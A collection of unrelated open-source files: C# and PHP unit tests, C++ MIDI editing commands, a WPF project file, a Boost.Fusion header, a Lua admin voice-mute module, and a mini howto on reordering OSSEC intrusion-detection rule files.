result = toStringValueConverter.Convert(value, typeof(string), null, _skSkCulture);
Assert.That(result, Is.EqualTo("Hello, World!"));
Assert.That(value.ToStringCounter, Is.EqualTo(2));
}
[Test]
public void DoubleValueConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(99123.567, typeof(string), null, null);
Assert.That(result, Is.EqualTo("99123.567"));
}
[Test]
public void DoubleValueWithSkCultureConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(99123.567, typeof(string), null, _skSkCulture);
Assert.That(result, Is.EqualTo("99123,567"));
}
[Test]
public void DoubleValueWithEmptyParameterConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(99123.567, typeof(string), string.Empty, null);
Assert.That(result, Is.EqualTo("99123.567"));
}
[Test]
public void DoubleValueWithEmptyParameterAndSkCultureConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(99123.567, typeof(string), string.Empty, _skSkCulture);
Assert.That(result, Is.EqualTo("99123,567"));
}
[Test]
public void DoubleValueWithNumberFormatConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(99123.567, typeof(string), "N2", null);
Assert.That(result, Is.EqualTo("99,123.57"));
}
[Test]
public void DoubleValueWithNumberFormatAndSkCultureConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
object result = toStringValueConverter.Convert(99123.567, typeof(string), "N2", _skSkCulture);
Assert.That(result, Is.EqualTo("99 123,57"));
}
[Test]
public void DoubleValueWithSpecificFormatConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
var format = new ToStringObject("#,##0.000");
object result = toStringValueConverter.Convert(99123.56, typeof(string), format, null);
Assert.That(result, Is.EqualTo("99,123.560"));
}
[Test]
public void DoubleValueWithSpecificFormatAndSkCultureConvertsToStringValue()
{
var toStringValueConverter = new ToStringValueConverter();
var format = new ToStringObject("#,##0.000");
object result = toStringValueConverter.Convert(99123.56, typeof(string), format, _skSkCulture);
Assert.That(result, Is.EqualTo("99 123,560"));
}
[Test]
public void NullObjectConvertsBackThrowsException()
{
var toStringValueConverter = new ToStringValueConverter();
TestDelegate action = () => toStringValueConverter.ConvertBack(null, null, null, null);
Assert.That(action, Throws.InstanceOf<NotSupportedException>());
}
[Test]
public void ObjectConvertsBackThrowsException()
{
var toStringValueConverter = new ToStringValueConverter();
TestDelegate action = () => toStringValueConverter.ConvertBack(new object(), typeof(string), null, null);
Assert.That(action, Throws.InstanceOf<NotSupportedException>());
}
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
/*
* This file is part of the PHPUnit_MockObject package.
*
* (c) Sebastian Bergmann <sebastian@phpunit.de>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
class Framework_MockBuilderTest extends PHPUnit_Framework_TestCase
{
public function testMockBuilderRequiresClassName()
{
$mock = $this->getMockBuilder(Mockable::class)->getMock();
$this->assertTrue($mock instanceof Mockable);
}
public function testByDefaultMocksAllMethods()
{
$mock = $this->getMockBuilder(Mockable::class)->getMock();
$this->assertNull($mock->mockableMethod());
$this->assertNull($mock->anotherMockableMethod());
}
public function testMethodsToMockCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setMethods(['mockableMethod'])
->getMock();
$this->assertNull($mock->mockableMethod());
$this->assertTrue($mock->anotherMockableMethod());
}
public function testMethodExceptionsToMockCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setMethodsExcept(['mockableMethod'])
->getMock();
$this->assertTrue($mock->mockableMethod());
$this->assertNull($mock->anotherMockableMethod());
}
public function testEmptyMethodExceptionsToMockCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setMethodsExcept()
->getMock();
$this->assertNull($mock->mockableMethod());
$this->assertNull($mock->anotherMockableMethod());
}
public function testByDefaultDoesNotPassArgumentsToTheConstructor()
{
$mock = $this->getMockBuilder(Mockable::class)->getMock();
$this->assertEquals([null, null], $mock->constructorArgs);
}
public function testMockClassNameCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setMockClassName('ACustomClassName')
->getMock();
$this->assertTrue($mock instanceof ACustomClassName);
}
public function testConstructorArgumentsCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setConstructorArgs([23, 42])
->getMock();
$this->assertEquals([23, 42], $mock->constructorArgs);
}
public function testOriginalConstructorCanBeDisabled()
{
$mock = $this->getMockBuilder(Mockable::class)
->disableOriginalConstructor()
->getMock();
$this->assertNull($mock->constructorArgs);
}
public function testByDefaultOriginalCloneIsPreserved()
{
$mock = $this->getMockBuilder(Mockable::class)
->getMock();
$cloned = clone $mock;
$this->assertTrue($cloned->cloned);
}
public function testOriginalCloneCanBeDisabled()
{
$mock = $this->getMockBuilder(Mockable::class)
->disableOriginalClone()
->getMock();
$mock->cloned = false;
$cloned = clone $mock;
$this->assertFalse($cloned->cloned);
}
public function testProvidesAFluentInterface()
{
$spec = $this->getMockBuilder(Mockable::class)
->setMethods(['mockableMethod'])
->setConstructorArgs([])
->setMockClassName('DummyClassName')
->disableOriginalConstructor()
->disableOriginalClone()
->disableAutoload();
$this->assertTrue($spec instanceof PHPUnit_Framework_MockObject_MockBuilder);
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
/*
* This file is part of the PHPUnit_MockObject package.
*
* (c) Sebastian Bergmann <sebastian@phpunit.de>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
class Framework_MockBuilderTest extends PHPUnit_Framework_TestCase
{
public function testMockBuilderRequiresClassName()
{
$mock = $this->getMockBuilder(Mockable::class)->getMock();
$this->assertTrue($mock instanceof Mockable);
}
public function testByDefaultMocksAllMethods()
{
$mock = $this->getMockBuilder(Mockable::class)->getMock();
$this->assertNull($mock->mockableMethod());
$this->assertNull($mock->anotherMockableMethod());
}
public function testMethodsToMockCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setMethods(['mockableMethod'])
->getMock();
$this->assertNull($mock->mockableMethod());
$this->assertTrue($mock->anotherMockableMethod());
}
public function testMethodExceptionsToMockCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setMethodsExcept(['mockableMethod'])
->getMock();
$this->assertTrue($mock->mockableMethod());
$this->assertNull($mock->anotherMockableMethod());
}
public function testEmptyMethodExceptionsToMockCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setMethodsExcept()
->getMock();
$this->assertNull($mock->mockableMethod());
$this->assertNull($mock->anotherMockableMethod());
}
public function testByDefaultDoesNotPassArgumentsToTheConstructor()
{
$mock = $this->getMockBuilder(Mockable::class)->getMock();
$this->assertEquals([null, null], $mock->constructorArgs);
}
public function testMockClassNameCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setMockClassName('ACustomClassName')
->getMock();
$this->assertTrue($mock instanceof ACustomClassName);
}
public function testConstructorArgumentsCanBeSpecified()
{
$mock = $this->getMockBuilder(Mockable::class)
->setConstructorArgs([23, 42])
->getMock();
$this->assertEquals([23, 42], $mock->constructorArgs);
}
public function testOriginalConstructorCanBeDisabled()
{
$mock = $this->getMockBuilder(Mockable::class)
->disableOriginalConstructor()
->getMock();
$this->assertNull($mock->constructorArgs);
}
public function testByDefaultOriginalCloneIsPreserved()
{
$mock = $this->getMockBuilder(Mockable::class)
->getMock();
$cloned = clone $mock;
$this->assertTrue($cloned->cloned);
}
public function testOriginalCloneCanBeDisabled()
{
$mock = $this->getMockBuilder(Mockable::class)
->disableOriginalClone()
->getMock();
$mock->cloned = false;
$cloned = clone $mock;
$this->assertFalse($cloned->cloned);
}
public function testProvidesAFluentInterface()
{
$spec = $this->getMockBuilder(Mockable::class)
->setMethods(['mockableMethod'])
->setConstructorArgs([])
->setMockClassName('DummyClassName')
->disableOriginalConstructor()
->disableOriginalClone()
->disableAutoload();
$this->assertTrue($spec instanceof PHPUnit_Framework_MockObject_MockBuilder);
}
}
|
{
"pile_set_name": "Github"
}
|
// This is an open source non-commercial project. Dear PVS-Studio, please check
// it. PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com
#include "AddNote.hpp"
#include <Midi/MidiProcess.hpp>
#include <Process/TimeValueSerialization.hpp>
#include <score/model/path/PathSerialization.hpp>
#include <score/tools/IdentifierGeneration.hpp>
namespace Midi
{
AddNote::AddNote(const ProcessModel& model, const NoteData& n)
: m_model{model}, m_id{getStrongId(model.notes)}, m_note{n}
{
}
void AddNote::undo(const score::DocumentContext& ctx) const
{
m_model.find(ctx).notes.remove(m_id);
}
void AddNote::redo(const score::DocumentContext& ctx) const
{
auto& model = m_model.find(ctx);
model.notes.add(new Note{m_id, m_note, &model});
}
void AddNote::serializeImpl(DataStreamInput& s) const
{
s << m_model << m_id << m_note;
}
void AddNote::deserializeImpl(DataStreamOutput& s)
{
s >> m_model >> m_id >> m_note;
}
ReplaceNotes::ReplaceNotes(
const ProcessModel& model,
const std::vector<NoteData>& n,
int min,
int max,
TimeVal d)
: m_model{model}
, m_oldmin{model.range().first}
, m_oldmax{model.range().second}
, m_newmin{min}
, m_newmax{max}
, m_olddur{model.duration()}
, m_newdur{d}
{
for (Note& note : model.notes)
{
m_old.push_back({note.id(), note.noteData()});
}
int i = 0;
for (auto& note : n)
m_new.push_back({Id<Midi::Note>{i++}, note});
}
void ReplaceNotes::undo(const score::DocumentContext& ctx) const
{
auto& model = m_model.find(ctx);
model.notes.clear();
model.setDuration(m_olddur);
for (auto& note : m_old)
model.notes.add(new Note{note.first, note.second, &model});
model.setRange(m_oldmin, m_oldmax);
}
void ReplaceNotes::redo(const score::DocumentContext& ctx) const
{
auto& model = m_model.find(ctx);
model.notes.clear();
model.setDuration(m_newdur);
for (auto& note : m_new)
model.notes.add(new Note{note.first, note.second, &model});
model.setRange(m_newmin, m_newmax);
}
void ReplaceNotes::serializeImpl(DataStreamInput& s) const
{
s << m_model << m_old << m_new << m_oldmin << m_oldmax << m_newmin << m_newmax << m_olddur
<< m_newdur;
}
void ReplaceNotes::deserializeImpl(DataStreamOutput& s)
{
s >> m_model >> m_old >> m_new >> m_oldmin >> m_oldmax >> m_newmin >> m_newmax >> m_olddur
>> m_newdur;
}
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{F9CF1873-3C8D-4A85-807F-3BE96B876174}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>unvell.ReoGrid.WPFDemo</RootNamespace>
<AssemblyName>WPFDemo</AssemblyName>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<ProjectTypeGuids>{60dc8134-eba5-43b8-bcc9-bb4bc16c2548};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
<WarningLevel>4</WarningLevel>
<TargetFrameworkProfile />
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>TRACE;DEBUG</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<Optimize>true</Optimize>
<DebugType>pdbonly</DebugType>
<PlatformTarget>AnyCPU</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<ItemGroup>
<Reference Include="Antlr3.Runtime">
<HintPath>..\Ref\Antlr3.Runtime.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Drawing" />
<Reference Include="System.Xml" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="unvell.ReoScript, Version=1.5.0.0, Culture=neutral, PublicKeyToken=85339a558a3a0c58, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\Ref\unvell.ReoScript.dll</HintPath>
</Reference>
<Reference Include="WindowsBase" />
<Reference Include="PresentationCore" />
<Reference Include="PresentationFramework" />
</ItemGroup>
<ItemGroup>
<ApplicationDefinition Include="App.xaml">
<Generator>MSBuild:Compile</Generator>
<SubType>Designer</SubType>
</ApplicationDefinition>
<Compile Include="SlideCellBody.cs" />
<Compile Include="TestWindow.xaml.cs">
<DependentUpon>TestWindow.xaml</DependentUpon>
</Compile>
<Page Include="MainWindow.xaml">
<Generator>MSBuild:Compile</Generator>
<SubType>Designer</SubType>
</Page>
<Compile Include="App.xaml.cs">
<DependentUpon>App.xaml</DependentUpon>
<SubType>Code</SubType>
</Compile>
<Compile Include="MainWindow.xaml.cs">
<DependentUpon>MainWindow.xaml</DependentUpon>
<SubType>Code</SubType>
</Compile>
<Page Include="TestWindow.xaml">
<SubType>Designer</SubType>
<Generator>MSBuild:Compile</Generator>
</Page>
</ItemGroup>
<ItemGroup>
<Compile Include="Properties\AssemblyInfo.cs">
<SubType>Code</SubType>
</Compile>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<AppDesigner Include="Properties\" />
<None Include="Resources\order_sample.rgf" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>true</Install>
</BootstrapperPackage>
</ItemGroup>
<ItemGroup>
<None Include="Resources\computer_laptop_png.image" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\ReoGrid\ReoGrid.csproj">
<Project>{8b62357a-abbc-4db0-8633-f1d6a6c1ea53}</Project>
<Name>ReoGrid</Name>
</ProjectReference>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
|
{
"pile_set_name": "Github"
}
|
/*=============================================================================
Copyright (c) 2014-2015 Kohei Takahashi
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#ifndef FUSION_SET_11062014_1726
#define FUSION_SET_11062014_1726
#include <boost/fusion/support/config.hpp>
#include <boost/fusion/container/set/set_fwd.hpp>
///////////////////////////////////////////////////////////////////////////////
// Without variadics, we will use the PP version
///////////////////////////////////////////////////////////////////////////////
#if !defined(BOOST_FUSION_HAS_VARIADIC_SET)
# include <boost/fusion/container/set/detail/cpp03/set.hpp>
#else
///////////////////////////////////////////////////////////////////////////////
// C++11 interface
///////////////////////////////////////////////////////////////////////////////
#include <boost/fusion/support/detail/access.hpp>
#include <boost/fusion/support/void.hpp>
#include <boost/fusion/support/detail/enabler.hpp>
#include <boost/fusion/support/sequence_base.hpp>
#include <boost/fusion/support/category_of.hpp>
#include <boost/fusion/support/is_sequence.hpp>
#include <boost/fusion/support/detail/is_same_size.hpp>
#include <boost/fusion/container/vector/vector.hpp>
#include <boost/fusion/container/set/detail/begin_impl.hpp>
#include <boost/fusion/container/set/detail/end_impl.hpp>
#include <boost/fusion/container/set/detail/value_of_impl.hpp>
#include <boost/fusion/container/set/detail/deref_data_impl.hpp>
#include <boost/fusion/container/set/detail/deref_impl.hpp>
#include <boost/fusion/container/set/detail/key_of_impl.hpp>
#include <boost/fusion/container/set/detail/value_of_data_impl.hpp>
#include <boost/mpl/bool.hpp>
#include <boost/core/enable_if.hpp>
namespace boost { namespace fusion
{
struct fusion_sequence_tag;
template <>
struct set<> : sequence_base<set<> >
{
struct category : forward_traversal_tag, associative_tag {};
typedef set_tag fusion_tag;
typedef fusion_sequence_tag tag; // this gets picked up by MPL
typedef mpl::false_ is_view;
typedef vector<> storage_type;
typedef storage_type::size size;
BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED
set()
: data() {}
template <typename Sequence>
BOOST_FUSION_GPU_ENABLED
set(Sequence const& rhs,
typename enable_if<traits::is_sequence<Sequence>, detail::enabler_>::type = detail::enabler,
typename enable_if<detail::is_same_size<Sequence, storage_type>, detail::enabler_>::type = detail::enabler)
: data(rhs) {}
template <typename T>
BOOST_CXX14_CONSTEXPR BOOST_FUSION_GPU_ENABLED
set&
operator=(T const& rhs)
{
data = rhs;
return *this;
}
BOOST_CXX14_CONSTEXPR BOOST_FUSION_GPU_ENABLED
storage_type& get_data() { return data; }
BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED
storage_type const& get_data() const { return data; }
private:
storage_type data;
};
template <typename ...T>
struct set : sequence_base<set<T...> >
{
struct category : forward_traversal_tag, associative_tag {};
typedef set_tag fusion_tag;
typedef fusion_sequence_tag tag; // this gets picked up by MPL
typedef mpl::false_ is_view;
typedef vector<T...> storage_type;
typedef typename storage_type::size size;
BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED
set()
: data() {}
template <typename Sequence>
BOOST_FUSION_GPU_ENABLED
set(Sequence&& rhs,
typename enable_if<traits::is_sequence<Sequence>, detail::enabler_>::type = detail::enabler,
typename enable_if<detail::is_same_size<Sequence, storage_type>, detail::enabler_>::type = detail::enabler)
: data(std::forward<Sequence>(rhs)) {}
template <typename ...U>
BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED
explicit
set(U&& ...args)
: data(std::forward<U>(args)...) {}
template <typename U>
BOOST_CXX14_CONSTEXPR BOOST_FUSION_GPU_ENABLED
set&
operator=(U&& rhs)
{
data = std::forward<U>(rhs);
return *this;
}
BOOST_CXX14_CONSTEXPR BOOST_FUSION_GPU_ENABLED
storage_type& get_data() { return data; }
BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED
storage_type const& get_data() const { return data; }
private:
storage_type data;
};
}}
#endif
#endif
|
{
"pile_set_name": "Github"
}
|
local function MuteVoice(ply, cmd, args)
if not args[1] then return false end
local targets = FAdmin.FindPlayer(args[1])
if not targets or #targets == 1 and not IsValid(targets[1]) then
FAdmin.Messages.SendMessage(ply, 1, "Player not found")
return false
end
local time = tonumber(args[2]) or 0
for _, target in pairs(targets) do
if not FAdmin.Access.PlayerHasPrivilege(ply, "Voicemute", target) then FAdmin.Messages.SendMessage(ply, 5, "No access!") return false end
if IsValid(target) and not target:FAdmin_GetGlobal("FAdmin_voicemuted") then
target:FAdmin_SetGlobal("FAdmin_voicemuted", true)
if time == 0 then continue end
timer.Simple(time, function()
if not IsValid(target) or not target:FAdmin_GetGlobal("FAdmin_voicemuted") then return false end
target:FAdmin_SetGlobal("FAdmin_voicemuted", false)
end)
end
end
FAdmin.Messages.FireNotification("voicemute", ply, targets, {time})
return true, targets, time
end
local function UnMuteVoice(ply, cmd, args)
if not args[1] then return false end
local targets = FAdmin.FindPlayer(args[1])
if not targets or #targets == 1 and not IsValid(targets[1]) then
FAdmin.Messages.SendMessage(ply, 1, "Player not found")
return false
end
for _, target in pairs(targets) do
if not FAdmin.Access.PlayerHasPrivilege(ply, "Voicemute", target) then FAdmin.Messages.SendMessage(ply, 5, "No access!") return false end
if IsValid(target) and target:FAdmin_GetGlobal("FAdmin_voicemuted") then
target:FAdmin_SetGlobal("FAdmin_voicemuted", false)
end
end
FAdmin.Messages.FireNotification("voiceunmute", ply, targets)
return true, targets
end
FAdmin.StartHooks["VoiceMute"] = function()
FAdmin.Messages.RegisterNotification{
name = "voicemute",
hasTarget = true,
receivers = "involved+admins",
writeExtraInfo = function(info) net.WriteUInt(info[1], 16) end,
message = {"instigator", " voice muted ", "targets", " ", "extraInfo.1"},
}
FAdmin.Messages.RegisterNotification{
name = "voiceunmute",
hasTarget = true,
receivers = "involved+admins",
message = {"instigator", " voice unmuted ", "targets"},
}
FAdmin.Commands.AddCommand("Voicemute", MuteVoice)
FAdmin.Commands.AddCommand("UnVoicemute", UnMuteVoice)
FAdmin.Access.AddPrivilege("Voicemute", 2)
end
hook.Add("PlayerCanHearPlayersVoice", "FAdmin_Voicemute", function(Listener, Talker)
if Talker:FAdmin_GetGlobal("FAdmin_voicemuted") then return false end
end)
|
{
"pile_set_name": "Github"
}
|
ossec rules reordering Mini Howto
by Meir Michanie
Patching an Ossec installation
Reordering the rules
* Stop ossec
root@topgun:/var/ossec#/etc/init.d/ossec stop
* Backup the whole ossec directory
/root# tar -C /var -zcpvf ossec-orig.tar.gz ossec
* Move the contrib directory from the source package to the oseec installation
/var/ossec# cp -a /tmp/ossec/contrib .
* Create directories to host the rules
/var/ossec# mkdir signatures user_signatures repository
* Move the file rules_config.xml to the etc directory.
/var/ossec# mv rules/rules_config.xml etc/
* Move the rest of the rules to the repository directory
/var/ossec# mv rules/* repository/
* copy the rules tag portion to a file under /var/ossec. i.e. rules.txt
* delete the rules opening and closing tags
* remove all xml code leaving only the list of the files. i.e.
pam_rules.xml
sshd_rules.xml
telnetd_rules.xml
syslog_rules.xml
pix_rules.xml
named_rules.xml
smbd_rules.xml
vsftpd_rules.xml
pure-ftpd_rules.xml
proftpd_rules.xml
hordeimp_rules.xml
web_rules.xml
apache_rules.xml
ids_rules.xml
squid_rules.xml
firewall_rules.xml
netscreenfw_rules.xml
postfix_rules.xml
sendmail_rules.xml
imapd_rules.xml
spamd_rules.xml
msauth_rules.xml
policy_rules.xml
attack_rules.xml
* modify the rules tag to:
<rules>
<include>rules_ossec.xml</include>
</rules>
* list of repository directory.
/var/ossec# ls -1 repository/
apache_rules.xml
attack_rules.xml
firewall_rules.xml
ftpd_rules.xml
hordeimp_rules.xml
ids_rules.xml
imapd_rules.xml
msauth_rules.xml
named_rules.xml
netscreenfw_rules.xml
ossec_rules.xml
pam_rules.xml
pix_rules.xml
policy_rules.xml
postfix_rules.xml
proftpd_rules.xml
pure-ftpd_rules.xml
rules-backup
sendmail_rules.xml
smbd_rules.xml
spamd_rules.xml
squid_rules.xml
sshd_rules.xml
syslog_rules.xml
telnetd_rules.xml
vsftpd_rules.xml
web_rules.xml
* Viewing the content of file rules.txt
/var/ossec# cat rules.txt
pam_rules.xml
sshd_rules.xml
telnetd_rules.xml
syslog_rules.xml
pix_rules.xml
named_rules.xml
smbd_rules.xml
vsftpd_rules.xml
pure-ftpd_rules.xml
proftpd_rules.xml
hordeimp_rules.xml
web_rules.xml
apache_rules.xml
ids_rules.xml
squid_rules.xml
firewall_rules.xml
netscreenfw_rules.xml
postfix_rules.xml
sendmail_rules.xml
imapd_rules.xml
spamd_rules.xml
msauth_rules.xml
policy_rules.xml
attack_rules.xml
* Build links to the original rules files under the signatures directory
/var/ossec# COUNT=0; for i in `cat rules.txt`; do
(( COUNT = COUNT + 1)) ;
ln -s ../repository/$i `printf "signatures/%02d%s" $COUNT $i`;
done
* If you wish to alterate a rule you should remove the link of the file from signature where XX denotes the two digits number prefixing the name of the file.
/var/ossec# unlink signatures/XXattack_rules.xml
* Copy the file to be modified
/var/ossec# cp repository/attack_rules.xml signatures/XXattack_rules.xml
* Edit your file.
* write your own rules file under the directory user_signatures
/var/ossec# cat user_signatures/user_defined.xml
<group name="syslog,scans">
<rule id="9000" level="0">
<regex>Accepted publickey</regex>
<description>Accepted publickey bypass</description>
</rule>
</group>
* List the rules under signature
/var/ossec# ls -l signatures/
total 0
lrwxrwxrwx 1 root root 27 2006-07-24 23:37 01pam_rules.xml -> ../repository/pam_rules.xml
lrwxrwxrwx 1 root root 28 2006-07-24 23:37 02sshd_rules.xml -> ../repository/sshd_rules.xml
lrwxrwxrwx 1 root root 31 2006-07-24 23:37 03telnetd_rules.xml -> ../repository/telnetd_rules.xml
lrwxrwxrwx 1 root root 30 2006-07-24 23:37 04syslog_rules.xml -> ../repository/syslog_rules.xml
lrwxrwxrwx 1 root root 27 2006-07-24 23:37 05pix_rules.xml -> ../repository/pix_rules.xml
lrwxrwxrwx 1 root root 29 2006-07-24 23:37 06named_rules.xml -> ../repository/named_rules.xml
lrwxrwxrwx 1 root root 28 2006-07-24 23:37 07smbd_rules.xml -> ../repository/smbd_rules.xml
lrwxrwxrwx 1 root root 30 2006-07-24 23:37 08vsftpd_rules.xml -> ../repository/vsftpd_rules.xml
lrwxrwxrwx 1 root root 33 2006-07-24 23:37 09pure-ftpd_rules.xml -> ../repository/pure-ftpd_rules.xml
lrwxrwxrwx 1 root root 31 2006-07-24 23:37 10proftpd_rules.xml -> ../repository/proftpd_rules.xml
lrwxrwxrwx 1 root root 32 2006-07-24 23:37 11hordeimp_rules.xml -> ../repository/hordeimp_rules.xml
lrwxrwxrwx 1 root root 27 2006-07-24 23:37 12web_rules.xml -> ../repository/web_rules.xml
lrwxrwxrwx 1 root root 30 2006-07-24 23:37 13apache_rules.xml -> ../repository/apache_rules.xml
lrwxrwxrwx 1 root root 27 2006-07-24 23:37 14ids_rules.xml -> ../repository/ids_rules.xml
lrwxrwxrwx 1 root root 29 2006-07-24 23:37 15squid_rules.xml -> ../repository/squid_rules.xml
lrwxrwxrwx 1 root root 32 2006-07-24 23:37 16firewall_rules.xml -> ../repository/firewall_rules.xml
lrwxrwxrwx 1 root root 35 2006-07-24 23:37 17netscreenfw_rules.xml -> ../repository/netscreenfw_rules.xml
lrwxrwxrwx 1 root root 31 2006-07-24 23:37 18postfix_rules.xml -> ../repository/postfix_rules.xml
lrwxrwxrwx 1 root root 32 2006-07-24 23:37 19sendmail_rules.xml -> ../repository/sendmail_rules.xml
lrwxrwxrwx 1 root root 29 2006-07-24 23:37 20imapd_rules.xml -> ../repository/imapd_rules.xml
lrwxrwxrwx 1 root root 29 2006-07-24 23:37 21spamd_rules.xml -> ../repository/spamd_rules.xml
lrwxrwxrwx 1 root root 30 2006-07-24 23:37 22msauth_rules.xml -> ../repository/msauth_rules.xml
lrwxrwxrwx 1 root root 30 2006-07-24 23:37 23policy_rules.xml -> ../repository/policy_rules.xml
lrwxrwxrwx 1 root root 30 2006-07-24 23:37 24attack_rules.xml -> ../repository/attack_rules.xml
* Compile the alerts into a monolitic rule file.
/var/ossec# perl contrib/compile_alerts.pl --user-signatures /var/ossec/user_signatures --signatures \
/var/ossec/signatures --rules-config /var/ossec/etc/rules_config.xml > rules/rules_ossec.xml
Adding /var/ossec/etc/rules_config.xml
Adding /var/ossec/user_signatures/user_defined_rules.xml
Adding /var/ossec/signatures/01pam_rules.xml
Adding /var/ossec/signatures/02sshd_rules.xml
Adding /var/ossec/signatures/03telnetd_rules.xml
Adding /var/ossec/signatures/04syslog_rules.xml
Adding /var/ossec/signatures/05pix_rules.xml
Adding /var/ossec/signatures/06named_rules.xml
Adding /var/ossec/signatures/07smbd_rules.xml
Adding /var/ossec/signatures/08vsftpd_rules.xml
Adding /var/ossec/signatures/09pure-ftpd_rules.xml
Adding /var/ossec/signatures/10proftpd_rules.xml
Adding /var/ossec/signatures/11hordeimp_rules.xml
Adding /var/ossec/signatures/12web_rules.xml
Adding /var/ossec/signatures/13apache_rules.xml
Adding /var/ossec/signatures/14ids_rules.xml
Adding /var/ossec/signatures/15squid_rules.xml
Adding /var/ossec/signatures/16firewall_rules.xml
Adding /var/ossec/signatures/17netscreenfw_rules.xml
Adding /var/ossec/signatures/18postfix_rules.xml
Adding /var/ossec/signatures/19sendmail_rules.xml
